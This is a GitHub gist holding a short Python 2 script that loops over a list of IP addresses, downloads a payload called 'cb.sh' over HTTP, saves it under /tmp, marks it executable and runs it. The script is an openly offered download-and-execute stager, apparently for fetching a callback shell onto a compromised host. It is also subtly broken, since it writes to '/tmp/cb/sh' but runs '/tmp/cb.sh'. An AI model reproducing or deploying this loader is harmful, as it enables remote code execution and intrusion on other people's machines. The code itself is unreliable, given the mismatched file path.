Skip to content

Instantly share code, notes, and snippets.

@samduy
Created December 31, 2017 13:14
Show Gist options
  • Save samduy/7ffa31c527135b43de9ffd2794a00ff2 to your computer and use it in GitHub Desktop.
Save samduy/7ffa31c527135b43de9ffd2794a00ff2 to your computer and use it in GitHub Desktop.
Loop through IP list, Download file over HTTP and Execute
#!/usr/bin/python
import urllib2, os
urls = ["1.1.1.1","2.2.2.2"]
port = "80"
payload = "cb.sh"
for url in urls:
u = "http://%s:%s/%s" % (url, port, payload)
try:
r = urllib2.urlopen(u)
wfile = open("/tmp/cb/sh","wb")
wfile.write(r.read())
wfile.close()
break
except: continue
if os.path.exists("/tmp/cb.sh"):
os.system("chmod 700 /tmp/cb.sh")
os.system("/tmp/cb.sh")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment